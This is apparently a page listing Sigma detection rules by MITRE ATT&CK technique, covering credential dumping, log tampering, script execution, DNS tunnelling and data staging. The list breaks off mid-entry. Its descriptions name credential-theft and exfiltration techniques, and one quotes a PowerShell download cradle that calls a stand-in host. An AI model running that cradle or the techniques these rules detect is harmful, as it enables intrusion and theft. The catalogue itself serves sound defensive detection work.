attack.t1003.003	25	Show Rules (25) Possible Impacket SecretDump Remote Activity - Zeek - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml Transferring Files with Credential Data via Network Shares - Zeek - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares Ntdsutil Abuse - Level: medium Description: Detects potential abuse of ntdsutil to dump ntds.dit database Possible Impacket SecretDump Remote Activity - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL Transferring Files with Credential Data via Network Shares - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares Cred Dump Tools Dropped Files - Level: high Description: Files with well-known filenames (parts of credential dump software or files produced by them) creation NTDS.DIT Created - Level: low Description: Detects creation of a file named "ntds.dit" (Active Directory Database) NTDS.DIT Creation By Uncommon Parent Process - Level: high Description: Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory NTDS.DIT Creation By Uncommon Process - Level: high Description: Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory NTDS Exfiltration Filename Patterns - Level: high Description: Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration. Suspicious Get-ADDBAccount Usage - Level: high Description: Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers Create Volume Shadow Copy with Powershell - Level: high Description: Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information VolumeShadowCopy Symlink Creation Via Mklink - Level: high Description: Shadow Copies storage symbolic link creation using operating systems utilities Esentutl Gather Credentials - Level: medium Description: Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab. Copying Sensitive Files with Credential Data - Level: high Description: Files with well-known filenames (sensitive files with credential data) copying Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) - Level: medium Description: Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc. Invocation of Active Directory Diagnostic Tool (ntdsutil.exe) - Level: medium Description: Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT) PUA - DIT Snapshot Viewer - Level: high Description: Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit. Suspicious Process Patterns NTDS.DIT Exfil - Level: high Description: Detects suspicious process patterns used in NTDS.DIT exfiltration Shadow Copies Creation Using Operating Systems Utilities - Level: medium Description: Shadow Copies creation using operating systems utilities, possible credential access Active Directory Database Snapshot Via ADExplorer - Level: medium Description: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database. Suspicious Active Directory Database Snapshot Via ADExplorer - Level: high Description: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory. Sensitive File Dump Via Wbadmin.EXE - Level: high Description: Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information. Sensitive File Recovery From Backup Via Wbadmin.EXE - Level: high Description: Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information. Potential Russian APT Credential Theft Activity - Level: critical Description: Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike
attack.t1552.001	24	Show Rules (24) iOS Implant URL Pattern - Level: critical Description: Detects URL pattern used by iOS Implant Suspicious Unattend.xml File Access - Level: medium Description: Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process Abusing Findstr for Defense Evasion - Level: medium Description: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism Azure Keyvault Key Modified or Deleted - Level: medium Description: Identifies when a Keyvault Key is modified or deleted in Azure. Azure Key Vault Modified or Deleted - Level: medium Description: Identifies when a key vault is modified or deleted. Azure Keyvault Secrets Modified or Deleted - Level: medium Description: Identifies when secrets are modified or deleted in Azure. Credentials In Files - Linux - Level: high Description: Detecting attempts to extract passwords with grep Copy Passwd Or Shadow From TMP Path - Level: high Description: Detects when the file "passwd" or "shadow" is copied from tmp path Linux Recon Indicators - Level: high Description: Detects events with patterns found in commands used for reconnaissance on linux systems Hidden Flag Set On File/Directory Via Chflags - MacOS - Level: medium Description: Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers. Credentials In Files - Level: high Description: Detecting attempts to extract passwords with grep and laZagne Cisco Collect Data - Level: low Description: Collect pertinent data from the configuration files HackTool - Typical HiveNightmare SAM File Export - Level: high Description: Detects files written by the different tools that exploit HiveNightmare HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Extracting Information with PowerShell - Level: medium Description: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. Remote File Download Via Findstr.EXE - Level: medium Description: Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry. Insensitive Subfolder Search Via Findstr.EXE - Level: low Description: Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands. HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Automated Collection Command Prompt - Level: medium Description: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Active Directory Database Snapshot Via ADExplorer - Level: medium Description: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database. Suspicious Active Directory Database Snapshot Via ADExplorer - Level: high Description: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory. Potential Russian APT Credential Theft Activity - Level: critical Description: Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike Unattend.XML File Access Attempt - Level: low Description: Detects attempts to access the "unattend.xml" file, where credentials might be stored. This file is used during the unattended windows install process. Potential Password Reconnaissance Via Findstr.EXE - Level: medium Description: Detects command line usage of "findstr" to search for the "passwords" keyword in a variety of different languages
attack.t1562.002	24	Show Rules (24) Potential NT API Stub Patching - Level: medium Description: Detects potential NT API stub patching as seen used by the project PatchingAPI ETW Logging/Processing Option Disabled On IIS Server - Level: medium Description: Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option. HTTP Logging Disabled On IIS Server - Level: high Description: Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests. New Module Module Added To IIS Server - Level: medium Description: Detects the addition of a new module to an IIS server. Previously Installed IIS Module Was Removed - Level: low Description: Detects the removal of a previously installed IIS module. Windows Event Auditing Disabled - Level: low Description: Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways. Important Windows Event Auditing Disabled - Level: high Description: Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled. EVTX Created In Uncommon Location - Level: medium Description: Detects the creation of new files with the ".evtx" extension in non-common or non-standard location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting. HackTool - SharpEvtMute DLL Load - Level: high Description: Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs HackTool - SysmonEnte Execution - Level: high Description: Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon Suspicious Svchost Process Access - Level: high Description: Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service. Audit Policy Tampering Via NT Resource Kit Auditpol - Level: high Description: Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor. Audit Policy Tampering Via Auditpol - Level: high Description: Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor. Filter Driver Unloaded Via Fltmc.EXE - Level: medium Description: Detect filter driver unloading activity via fltmc.exe Sysmon Driver Unloaded Via Fltmc.EXE - Level: high Description: Detects possible Sysmon filter driver unloaded via fltmc.exe HackTool - SharpEvtMute Execution - Level: high Description: Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs Disable Windows IIS HTTP Logging - Level: high Description: Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Suspicious Eventlog Clearing or Configuration Change Activity - Level: high Description: Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses. Change Winevt Channel Access Permission Via Registry - Level: high Description: Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel. Disable Windows Event Logging Via Registry - Level: high Description: Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel Potential EventLog File Location Tampering - Level: high Description: Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting Forest Blizzard APT - File Creation Activity - Level: high Description: Detects the creation of specific files inside of ProgramData directory. These files were seen being created by Forest Blizzard as described by MSFT. Forest Blizzard APT - JavaScript Constrained File Creation - Level: medium Description: Detects the creation of JavaScript files inside of the DriverStore directory. Forest Blizzard used this to exploit the CVE-2022-38028 vulnerability in Windows Print Spooler service by modifying a JavaScript constraints file and executing it with SYSTEM-level permissions.
attack.t1059.005	23	Show Rules (23) Visual Basic Script Execution - Level: medium Description: Adversaries may abuse Visual Basic (VB) for execution Adwind RAT / JRAT - Registry - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. HackTool - CACTUSTORCH Remote Thread Creation - Level: high Description: Detects remote thread creation from CACTUSTORCH as described in references. WScript or CScript Dropper - File - Level: high Description: Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe Adwind RAT / JRAT File Artifact - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT Suspicious Child Process Of BgInfo.EXE - Level: high Description: Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript Uncommon Child Process Of BgInfo.EXE - Level: medium Description: Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript Csc.EXE Execution Form Potentially Suspicious Parent - Level: high Description: Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) HackTool - Koadic Execution - Level: high Description: Detects command line parameters used by Koadic hack tool Potential Reconnaissance Activity Via GatherNetworkInfo.VBS - Level: medium Description: Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS - Level: high Description: Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine Windows Shell/Scripting Processes Spawning Suspicious Programs - Level: high Description: Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc. Potential SquiblyTwo Technique Execution - Level: medium Description: Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields Potential Dropper Script Execution Via WScript/CScript - Level: medium Description: Detects wscript/cscript executions of scripts located in user directories Cscript/Wscript Uncommon Script Extension Execution - Level: high Description: Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension Suspicious Scripting in a WMI Consumer - Level: high Description: Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers Adwind RAT / JRAT - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT Potential APT10 Cloud Hopper Activity - Level: high Description: Detects potential process and execution activity related to APT10 Cloud Hopper operation Potential QBot Activity - Level: critical Description: Detects potential QBot activity by looking for process executions used previously by QBot WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript - Level: medium Description: Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript
attack.t1566.001	21	Show Rules (21) Disk Image Mounting Via Hdiutil - MacOS - Level: medium Description: Detects the execution of the hdiutil utility in order to mount disk images. ISO Image Mounted - Level: medium Description: Detects the mount of an ISO image on an endpoint Password Protected ZIP File Opened (Email Attachment) - Level: high Description: Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened. Potential Initial Access via DLL Search Order Hijacking - Level: medium Description: Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking. ISO File Created Within Temp Folders - Level: high Description: Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022. ISO or Image Mount Indicator in Recent Files - Level: medium Description: Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files. Office Macro File Creation - Level: low Description: Detects the creation of a new office macro files on the systems Office Macro File Download - Level: medium Description: Detects the creation of a new office macro files on the systems via an application (browser, mail client). Office Macro File Creation From Suspicious Process - Level: high Description: Detects the creation of a office macro file from a a suspicious process HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) Suspicious HWP Sub Processes - Level: high Description: Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation Suspicious Microsoft OneNote Child Process - Level: high Description: Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file. Suspicious Execution From Outlook Temporary Folder - Level: high Description: Detects a suspicious program execution in Outlook temp folder Arbitrary Shell Command Execution Via Settingcontent-Ms - Level: medium Description: The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries. Suspicious Double Extension File Execution - Level: critical Description: Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns Windows Registry Trust Record Modification - Level: medium Description: Alerts on trust record modification within the registry, indicating usage of macros Exploit for CVE-2017-0261 - Level: medium Description: Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262 Droppers Exploiting CVE-2017-11882 - Level: critical Description: Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe Exploit for CVE-2017-8759 - Level: critical Description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759 Ursnif Malware C2 URL Pattern - Level: critical Description: Detects Ursnif C2 traffic.
attack.t1087.002	20	Show Rules (20) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Potential Active Directory Reconnaissance/Enumeration Via LDAP - Level: medium Description: Detects potential Active Directory enumeration via LDAP AD Privileged Users or Groups Reconnaissance - Level: high Description: Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs Potential AD User Enumeration From Non-Machine Account - Level: medium Description: Detects read access to a domain user from a non-machine account Reconnaissance Activity - Level: high Description: Detects activity as "net user administrator /domain" and "net group domain admins /domain" BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Active Directory Computers Enumeration With Get-AdComputer - Level: low Description: Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory. Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Active Directory Structure Export Via Csvde.EXE - Level: medium Description: Detects the execution of "csvde.exe" in order to export organizational Active Directory structure. HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools Suspicious Group And Account Reconnaissance Activity Using Net.EXE - Level: medium Description: Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM) Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks PUA - AdFind Suspicious Execution - Level: high Description: Detects AdFind execution with common flags seen used during attacks PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE - Level: high Description: Detects active directory enumeration activity using known AdFind CLI flags Renamed AdFind Execution - Level: high Description: Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain. Suspicious Use of PsLogList - Level: medium Description: Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE". Enumeration via the Global Catalog - Level: medium Description: Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width. Domain User Enumeration Network Recon 01 - Level: medium Description: Domain user and group enumeration via network reconnaissance. Seen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller. The rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29
attack.t1071.004	19	Show Rules (19) DNS Tunnel Technique from MuddyWater - Level: critical Description: Detecting DNS tunnel activity for Muddywater actor Nslookup PwSh Download Cradle - Level: medium Description: This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] Cobalt Strike DNS Beaconing - Level: critical Description: Detects suspicious DNS queries known from Cobalt Strike beacons Suspicious DNS Query with B64 Encoded String - Level: medium Description: Detects suspicious DNS queries using base64 encoding DNS TXT Answer with Possible Execution Strings - Level: high Description: Detects strings used in command execution in DNS TXT Answer Suspicious Cobalt Strike DNS Beaconing - DNS Client - Level: critical Description: Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons Suspicious Cobalt Strike DNS Beaconing - Sysmon - Level: critical Description: Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report DNS Exfiltration and Tunneling Tools Execution - Level: high Description: Well-known DNS Exfiltration tools execution OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Possible DNS Tunneling - Level: high Description: Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data. High NULL Records Requests Rate - Level: medium Description: Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution High DNS Requests Rate - Level: medium Description: High DNS requests amount from host per short period of time High TXT Records Requests Rate - Level: medium Description: Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution High DNS Requests Rate - Firewall - Level: medium Description: High DNS requests amount from host per short period of time DNSCat2 Powershell Implementation Detection Via Process Creation - Level: high Description: The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
attack.t1059.007	19	Show Rules (19) Adwind RAT / JRAT - Registry - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT Suspicious Installer Package Child Process - Level: medium Description: Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters JXA In-memory Execution Via OSAScript - Level: high Description: Detects possible malicious execution of JXA in-memory via OSAScript Potential In-Memory Download And Compile Of Payloads - Level: medium Description: Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. HackTool - CACTUSTORCH Remote Thread Creation - Level: high Description: Detects remote thread creation from CACTUSTORCH as described in references. WScript or CScript Dropper - File - Level: high Description: Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe Adwind RAT / JRAT File Artifact - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT Csc.EXE Execution Form Potentially Suspicious Parent - Level: high Description: Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) HackTool - Koadic Execution - Level: high Description: Detects command line parameters used by Koadic hack tool MSHTA Suspicious Execution 01 - Level: high Description: Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism Node Process Executions - Level: medium Description: Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud Potential SquiblyTwo Technique Execution - Level: medium Description: Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields Potential Dropper Script Execution Via WScript/CScript - Level: medium Description: Detects wscript/cscript executions of scripts located in user directories Cscript/Wscript Uncommon Script Extension Execution - Level: high Description: Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension Adwind RAT / JRAT - Level: high Description: Detects javaw.exe in AppData folder as used by Adwind / JRAT WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript - Level: medium Description: Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript
attack.t1069.001	17	Show Rules (17) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Local Groups Discovery - Linux - Level: low Description: Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings Local Groups Discovery - MacOs - Level: informational Description: Detects enumeration of local system groups BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks AD Groups Or Users Enumeration Using PowerShell - PoshModule - Level: low Description: Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Suspicious Get Local Groups Information - Level: low Description: Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. Suspicious Get Information for SMB Share - PowerShell Module - Level: low Description: Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks AD Groups Or Users Enumeration Using PowerShell - ScriptBlock - Level: low Description: Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Suspicious Get Local Groups Information - PowerShell - Level: low Description: Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. Suspicious Get Information for SMB Share - Level: low Description: Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Permission Check Via Accesschk.EXE - Level: medium Description: Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges Local Groups Reconnaissance Via Wmic.EXE - Level: low Description: Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1560.001	17	Show Rules (17) Data Compressed - Level: low Description: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Disk Image Mounting Via Hdiutil - MacOS - Level: medium Description: Detects the execution of the hdiutil utility in order to mount disk images. Cisco Stage Data - Level: low Description: Various protocols maybe used to put data on the device for exfil or infil Compress Data and Lock With Password for Exfiltration With 7-ZIP - Level: medium Description: An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities 7Zip Compressing Dump Files - Level: medium Description: Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration. Suspicious Manipulation Of Default Accounts Via Net.EXE - Level: high Description: Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc Rar Usage with Password and Compression Level - Level: high Description: Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions. Files Added To An Archive Using Rar.EXE - Level: low Description: Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Compressed File Creation Via Tar.EXE - Level: low Description: Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Compressed File Extraction Via Tar.EXE - Level: low Description: Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection. Winrar Compressing Dump Files - Level: medium Description: Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration. Winrar Execution in Non-Standard Folder - Level: medium Description: Detects a suspicious winrar execution in a folder which is not the default installation folder Compress Data and Lock With Password for Exfiltration With WINZIP - Level: medium Description: An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities APT31 Judgement Panda Activity - Level: critical Description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report Password Protected Compressed File Extraction Via 7Zip - Level: low Description: Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files. Potentially Suspicious Compression Tool Parameters - Level: medium Description: Detects potentially suspicious command line arguments of common data compression tools Potential Exfiltration of Compressed Files - Level: medium Description: This rule detects potential exfiltration by looking for a few compression extensions in the uri and signs of compression in the mime type, file type, and http body
attack.t1070.004	16	Show Rules (16) Sysinternals SDelete Registry Keys - Level: medium Description: A General detection to trigger for the creation or modification of .*\Software\Sysinternals\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool. File Deletion - Level: informational Description: Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity Cisco File Deletion - Level: medium Description: See what files are being deleted from flash file systems Backup Catalog Deleted - Level: medium Description: Detects backup catalog deletions Potential Secure Deletion with SDelete - Level: medium Description: Detects files that have extensions commonly seen while SDelete is used to wipe files. Prefetch File Deleted - Level: high Description: Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence TeamViewer Log File Deleted - Level: low Description: Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence File Deleted Via Sysinternals SDelete - Level: medium Description: Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files. ADS Zone.Identifier Deleted By Uncommon Application - Level: medium Description: Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps. File Deletion Via Del - Level: low Description: Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. Greedy File Deletion Using Del - Level: medium Description: Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence. Potentially Suspicious Ping/Copy Command Combination - Level: medium Description: Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware. Suspicious Ping/Del Command Combination - Level: 